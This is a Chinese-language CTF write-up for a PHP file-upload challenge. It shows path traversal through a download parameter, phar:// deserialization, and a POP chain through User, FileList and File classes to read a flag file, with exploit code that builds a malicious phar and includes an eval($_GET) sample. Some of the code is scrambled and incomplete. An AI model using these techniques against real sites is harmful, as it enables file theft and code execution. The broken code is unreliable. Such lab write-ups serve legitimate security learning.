phar反序列化以及pop链构造
打开页面是一个登录界面,试着sql注入,发现不行,然后注册后登录发现是上传文件,尝试着上传一个一句话木马,然后没有回显路径,但是点击下载后,抓包
1 | POST /download.php HTTP/1.1 |
发现有一个filename可以直接利用来获取文件,因此,我们尝试构造
1 | filename=../../flag.php |
发现不可以下载,然后我们可以试着利用获取源码
1 | filename=../../class.php |
获取源码后,我们可以看class.php文件,发现有数据库交互的语句
1 | public function user_exist($username) { |
可见username参数的值已经被确定了,所以无法进行sql注入,然后我们再看向download.php文件,发现下载的文件名过滤了flag
1 | chdir($_SESSION['sandbox']); |
其中chdir()函数是用来目录跳跃的,所以我们在获取文件时,需要../../来读取上层目录的文件。同时由于过滤了flag文件名,所以不能使用这个方法我们需要使用其它的方法
看到__call()这个魔术方法
1 | public function __call($func, $args) { |
同时看到close()函数
1 | public function close() { |
中的file_get_contents()函数,可以判断使用phar反序列化加pop链
phar反序列化
phar原理
phar由四部分构成
1 | 1. stub |
phar存储的meta-data信息以序列化的方式存储,而当文件操作函数通过phar://伪协议解析phar文件时会将数据反序列化,其中文件操作函数为:
1 | fileatime() |
实例
1 | test.php |
1 | 然后使用这个phar.php文件生成phar文件 |
‘); //写入stub
$o=new Testobj();
$o->output=’eval($_GET[“a”]);’;
$phar->setMetadata($o);//写入meta-data
$phar->addFromString(“test.txt”,”test”); //添加要压缩的文件
$phar->stopBuffering();
?>
1 | 然后放在同一目录中,其中运行时,需要在php.ini文件中设置 |
phar.readonly = Off
1 | 注意在ini文件中;为注释符,然后构造 |
http://127.0.0.1/test.php?filename=phpinfo();
1 | 则可以获得php版本 |
__call()————————————-在对象调用的方法不存在时。会自动触发
__destruct()——————————-会在销毁对象时自动触发
1 | 而我们可以看见close()方法中有file_get_contents()函数,所以我们只需控制$this->filename这个参数即可,而调用这个close()方法,而download.php文件和delect.php文件都有这个函数,但是download.php文件中的 |
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
1 | 限制了访问目录只能在当前目录(getcwd())、/etc和/tmp目录,所以不可以使用,但是我们可以使用delect.php来读取,我们可以构造一条简单的链条 |
当delect.php文件中的$file->detele()是,会触发class.php文件中的user类中的__destruct()魔术方法中的$this->db->close();
而我们可以直接将$this->db作为file类,然后调用close()方法,之后只要我们控制file类中的$filename即可
1 | 按上面写exp |
1 | 但是没有回显,所以我们可以利用FileList类中的__call()魔术方法和__destruct()魔术方法来通过 |
echo $table;
1 | 来打印读取文件的信息,所以我们需要构造新的pop链 |
首先,delete.php文件中的$file->detele();会调用File类中的delect()方法
然后,detele()函数中的unlink()函数会触发user类的魔术方法__destruct()
而构造$this->db为new FileList()类,来调用不存在FileList类中的close()方法,从而触发FileList类中魔术方法__call()方法和__destruct()方法来通过echo $table;打印回显信息
1 |
|
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
1 | 将phar压缩文件中的文件放进数组中,然后__call()魔术方法将调用的方法close()放进数组中,并将遍历每一个文件,让每一个文件都调用close()方法,并存储于二维数组中,而后FileList类中的__destruct()魔术方法会将利用 |
foreach ($this->results as $filename => $result) {
$table .= ‘
foreach ($result as $func => $value) {
1 | 会将每个二维数组中的值给$table,并通过 |
echo $table;
1 | 打印出来,所以我们可以写exp |
“); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString(“exp.txt”, “test”); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
1 | 通过php运行phar.php来生成phar.phar文件,之后点击删除,并抓包,将filename中的值改为 |
filename=phar://phar.phar
```
就可以读出flag